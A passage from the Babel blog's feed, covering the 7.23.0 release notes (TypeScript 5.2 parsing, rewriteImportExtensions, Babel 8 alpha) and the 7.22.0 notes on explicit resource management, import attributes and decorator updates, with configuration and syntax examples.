<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-updates-15896-15913">TypeScript updates (<a href="https://github.com/babel/babel/pull/15896" target="_blank" rel="noopener noreferrer" class="">#15896</a>, <a href="https://github.com/babel/babel/pull/15913" target="_blank" rel="noopener noreferrer" class="">#15913</a>)<a href="https://babeljs.io/blog/2023/09/25/7.23.0#typescript-updates-15896-15913" class="hash-link" aria-label="Direct link to typescript-updates-15896-15913" title="Direct link to typescript-updates-15896-15913" translate="no">​</a></h3>
<p>Babel 7.23.0 now supports parsing <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-5-2/" target="_blank" rel="noopener noreferrer" class="">TypeScript 5.2</a>, whose only syntactic addition is the introduction of tuple types having both labeled and unlabeled entries.</p>
<p>In addition to that, <code>@babel/preset-typescript</code> now has a <code>rewriteImportExtensions</code> option that, when enabled, will rewrite <code>.ts</code>/<code>.mts</code>/<code>.cts</code> extensions in your import declarations to <code>.js</code>/<code>.mjs</code>/<code>.cjs</code>. Together with TypeScript's <a href="https://www.typescriptlang.org/tsconfig#allowImportingTsExtensions" target="_blank" rel="noopener noreferrer" class=""><code>allowImportingTsExtension</code></a> option, this allows you to write complete relative specifiers in your imports while using the same extension used by the files you are authoring.</p>
<p>As an example, given this project structure (where <code>src</code> contains the source files, and <code>dist</code> the compiled files):</p>
<div class="language-text codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-text codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">.</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">├── src</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   ├── main.ts</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   └── dep.ts</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">├── dist</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   ├── main.js</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">│   └── dep.js</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">├── babel.config.json</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">└── tsconfig.json</span><br></span></code></pre></div></div>
<p>and with the following configuration files:</p>
<table><thead><tr><th>babel.config.json</th><th>tsconfig.json</th></tr></thead><tbody><tr><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-typescript"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"rewriteImportExtensions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div></td><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"compilerOptions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"lib"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"esnext"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"noEmit"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"isolatedModules"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"moduleResolution"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"nodenext"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token property">"allowImportingTsExtensions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span></code></pre></div></div></td></tr></tbody></table>
<p>you will be able to write <code>import x from "./dep.ts"</code> in <code>main.ts</code>, and Babel will transform it to <code>import x from "./dep.js"</code> when compiling <code>main.ts</code> to <code>main.js</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="babel-8-alpha">Babel 8 alpha<a href="https://babeljs.io/blog/2023/09/25/7.23.0#babel-8-alpha" class="hash-link" aria-label="Direct link to Babel 8 alpha" title="Direct link to Babel 8 alpha" translate="no">​</a></h3>
<p>After multiple years working on it, we finally released Babel 8.0.0 alpha! 🥳</p>
<p>Future pre-release will include more breaking changes, so we do not recommend to use it in production unless you are willing to keep up with all the changes as they come. However, you can already start getting ready for what will be Babel 8.0.0 stable:</p>
<ul>
<li class="">You can install it with <code>npm install -D @babel/core@next</code> (or the equivalent command with your package manager), and verify if it already works in your project. Please make sure that all the <code>@babel/*</code> packages in your <code>package.json</code> have exactly the same version (for example, <code>8.0.0-alpha.2</code>).</li>
<li class="">You can read the <a href="https://next.babeljs.io/docs/v8-migration" target="_blank" rel="noopener noreferrer" class="">migration guide for users</a>: many of the breaking changes introduced in Babel 8 can already be enabled in Babel 7, and Babel 8 will simply remove the relative options making them the default behavior.</li>
<li class="">If you are a Babel plugin author, or if you use the Babel programmatic API directly, you can read the <a href="https://next.babeljs.io/docs/v8-migration-api" target="_blank" rel="noopener noreferrer" class="">migration guide for integration authors</a> and make sure that your library works well with Babel 8.</li>
</ul>
<p>In addition to the migration guides, you can read the full changelog of the various Babel 8 pre-releases <a href="https://github.com/babel/babel/blob/main/.github/CHANGELOG-v8.md" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.22.0 Released: Explicit Resource Management support and Import Attributes parsing]]></title>
            <link>https://babeljs.io/blog/2023/05/26/7.22.0</link>
            <guid>https://babeljs.io/blog/2023/05/26/7.22.0</guid>
            <pubDate>Fri, 26 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Babel 7.22.0 is out, with parsing/transform support for the Explicit Resource Management proposal, including both the sync and async variants, and with parsing support for the Import Attributes (an evolution of the old Import Assertions proposal).]]></description>
            <content:encoded><![CDATA[<p>Babel 7.22.0 is out, with parsing/transform support for the <a href="https://github.com/tc39/proposal-explicit-resource-management" target="_blank" rel="noopener noreferrer" class="">Explicit Resource Management</a> proposal, including both the sync and async variants, and with parsing support for the <a href="https://github.com/tc39/proposal-import-attributes" target="_blank" rel="noopener noreferrer" class="">Import Attributes</a> (an evolution of the old <a href="http://web.archive.org/web/20220930084518/https://github.com/tc39/proposal-import-assertions" target="_blank" rel="noopener noreferrer" class="">Import Assertions</a> proposal).</p>
<p>We also updated our implementation of <a href="https://github.com/tc39/proposal-decorators/" target="_blank" rel="noopener noreferrer" class="">decorators</a> following some changes in the proposal, and added support for the TypeScript <code>import ... =</code> and <code>export ... =</code> statements.</p>
<p><code>@babel/preset-env</code> now includes transform support for the <code>v</code> regular expressions flag, which was recently approved as part of the ECMAScript standard, by default. Lastly, we renamed all the plugins for <em>stable</em> ECMAScript features from <code>-proposal-</code> to <code>-transform-</code>.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.22.0" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer" class="">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2023/05/26/7.22.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="explicit-resource-management-15633-15520">Explicit Resource Management (<a href="https://github.com/babel/babel/pull/15633" target="_blank" rel="noopener noreferrer" class="">#15633</a>, <a href="https://github.com/babel/babel/pull/15520" target="_blank" rel="noopener noreferrer" class="">#15520</a>)<a href="https://babeljs.io/blog/2023/05/26/7.22.0#explicit-resource-management-15633-15520" class="hash-link" aria-label="Direct link to explicit-resource-management-15633-15520" title="Direct link to explicit-resource-management-15633-15520" translate="no">​</a></h3>
<p>The <a href="https://github.com/tc39/proposal-explicit-resource-management/" target="_blank" rel="noopener noreferrer" class="">Explicit Resource Management</a> Stage 3 proposal allows defining variables containing resources that will be "disposed" when exiting the scope where they are declared. This is done through <code>using</code> (for synchronous disposal) and <code>await using</code> (for asynchronous disposal) declarations:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  using fileHandle </span><span class="token operator">=</span><span class="token plain"> filesystem</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">open</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./my/file.txt"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">write</span><span class="token punctuation">(</span><span class="token plain">fileHandle</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Hello!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// At the end of the block, fileHandle will be automatically closed.</span><br></span></code></pre></div></div>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> using db </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token maybe-class-name">Database</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">connect</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"//my-db.sql"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  db</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">query</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"INSERT INTO tools (name, version) VALUES ('Babel', '7.22.0')"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// At the end of the block, the db connection will be closed asynchronously</span><br></span></code></pre></div></div>
<p>You can enable support for this proposal by adding <code>@babel/plugin-proposal-explicit-resource-management</code> to your Babel config:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     </span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-explicit-resource-management"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>You can also <a href="https://babeljs.io/repl#?browsers=defaults%2C%20not%20ie%2011%2C%20not%20ie_mob%2011&amp;build=&amp;builtIns=false&amp;corejs=3.21&amp;spec=false&amp;loose=false&amp;code_lz=N4KABGCuDOCWB2BzMAzWAbApgCQIbwBMswBeVDTaAT2gBdMBbAOgHsAHTeACgCImB6BlX5osTWgA9aPAJQBucGADuAJ1j0uonPiKYANGB7ZM6dCwCEshQF8QIUBFxLc6qHCRgCAI1JgnL2jAAEVxaXC9caEwmAGMWeHhMGNpefkEqAFpvJmgAR3QrRWzcyEwVKl4ASQA5AGUAUQAlABUwGuaAeTBaFhZ0aDAueFwGfTAANzK4eJkwADUAQQAZAFV62sGAcgAhcJNNg02AdiYAJlOmAAZNmULrIA&amp;debug=false&amp;forceAllTransforms=false&amp;modules=false&amp;shippedProposals=false&amp;circleciRepo=&amp;evaluate=false&amp;fileSize=false&amp;timeTravel=false&amp;sourceType=module&amp;lineWrap=true&amp;presets=react&amp;prettier=false&amp;targets=&amp;version=7.22.0&amp;externalPlugins=%40babel%2Fplugin-proposal-explicit-resource-management%407.20.0&amp;assumptions=%7B%7D" target="_blank" rel="noopener noreferrer" class="">try out this proposal in our REPL</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="import-attributes-15536-15620">Import Attributes (<a href="https://github.com/babel/babel/pull/15536" target="_blank" rel="noopener noreferrer" class="">#15536</a>, <a href="https://github.com/babel/babel/pull/15620" target="_blank" rel="noopener noreferrer" class="">#15620</a>)<a href="https://babeljs.io/blog/2023/05/26/7.22.0#import-attributes-15536-15620" class="hash-link" aria-label="Direct link to import-attributes-15536-15620" title="Direct link to import-attributes-15536-15620" translate="no">​</a></h3>
<p>The "import assertions" proposal's syntax changed to use the <code>with</code> keyword instead of <code>assert</code>, and it has also been renamed to "import attributes":</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">json</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"./foo.json"</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword module" style="color:#8959a8">import</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"./foo.json"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">with</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"json"</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>We've implemented parsing support for this new version of the proposal, which can be enabled using the <code>@babel/plugin-syntax-import-attributes</code> plugin (or, if you are directly using <code>@babel/parser</code>, <code>importAttributes</code>):</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token deleted-sign deleted prefix deleted" style="color:#c82829">-</span><span class="token deleted-sign deleted line" style="color:#c82829">    "@babel/syntax-import-assertions",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token deleted-sign deleted line" style="color:#c82829"></span><span class="token inserted-sign inserted prefix inserted" style="color:#718c00">+</span><span class="token inserted-sign inserted line" style="color:#718c00">    "@babel/syntax-import-attributes"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token inserted-sign inserted line" style="color:#718c00"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">}</span><br></span></code></pre></div></div>
<p>You can read more about the changes to the proposal in the <a href="https://docs.google.com/presentation/d/1Abdr54Iflz_4sah2_yX2qS3K09qDJGV84qIZ6pHAqIk/edit" target="_blank" rel="noopener noreferrer" class="">slides presented at the March TC39 meeting</a>, and about the motivation in the <a href="https://docs.google.com/presentation/d/1HbWhyo4tSnpv4vMZqCa2YQvi_mKdpDi4JWWBtSUQqQY" target="_blank" rel="noopener noreferrer" class="">slides presented at the January TC39 meeting</a>.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p><code>@babel/plugin-syntax-import-assertions</code> will continue working until we release Babel 8.0.0, but will no longer be maintained, so we highly recommended migrating to the new plugin.</p></div></div>
<p>To ease the migration from <code>with</code> to <code>assert</code>, if you run the Babel-compiled code only in tools and runtimes that support the legacy syntax but do not support yet the new one (such as Node.js 20 or Rollup 3.21), you can use the <code>@babel/plugin-proposal-import-attributes-to-assertions</code>:</p>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token deleted-sign deleted prefix deleted" style="color:#c82829">-</span><span class="token deleted-sign deleted line" style="color:#c82829">    "@babel/syntax-import-assertions",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token deleted-sign deleted line" style="color:#c82829"></span><span class="token inserted-sign inserted prefix inserted" style="color:#718c00">+</span><span class="token inserted-sign inserted line" style="color:#718c00">    "@babel/plugin-proposal-import-attributes-to-assertions"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token inserted-sign inserted line" style="color:#718c00"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token unchanged line"></span><span class="token unchanged prefix unchanged"> </span><span class="token unchanged line">}</span><br></span></code></pre></div></div>
<blockquote>
<p>🛑 Note that this plugin generates deprecated code that will not work in tools and runtimes only supporting the <code>with</code> syntax now described by the proposal.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="decorators-updates-15570">Decorators updates (<a href="https://github.com/babel/babel/pull/15570" target="_blank" rel="noopener noreferrer" class="">#15570</a>)<a href="https://babeljs.io/blog/2023/05/26/7.22.0#decorators-updates-15570" class="hash-link" aria-label="Direct link to decorators-updates-15570" title="Direct link to decorators-updates-15570" translate="no">​</a></h3>
<p>The TC39 committee received further feedback by JavaScript tools and engines implementing decorators, and refined the proposal, and designed <a href="https://github.com/tc39/proposal-decorators/issues/499" target="_blank" rel="noopener noreferrer" class="">different changes and bugfixes</a> in response to it.</p>
<p>The relevant changes for Babel users are:</p>
<ul>
<li class=""><code>accessor</code> static fields now work with derived classes:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Base</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> accessor x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Derived</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">extends</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Base</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token maybe-class-name">Derived</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Used to throw, now returns `2`</span><br></span></code></pre></div></div>
</li>
<li class="">Decorators stored in object properties are now called using the object as <code>this</code> instead of <code>undefined</code>:<!-- -->
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token maybe-class-name">MyDecs</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">dec</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// Now logs `MyDecs` instead of `undefined`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">@</span><span class="token maybe-class-name">MyDecs</span><span class="token punctuation">.</span><span class="token property-access">dec</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token punctuation">}</span><br></span></code></pre></div></div>
</li>
</ul>
<p>You can use this new decorators version by passing the <code>version: "2023-05"</code> option to the decorators plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/plugin-proposal-decorators"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">       </span><span class="token property">"version"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"2023-05"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">     </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">   </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"> </span><span class="token punctuation">}</span><br></span></code></pre></div></div>
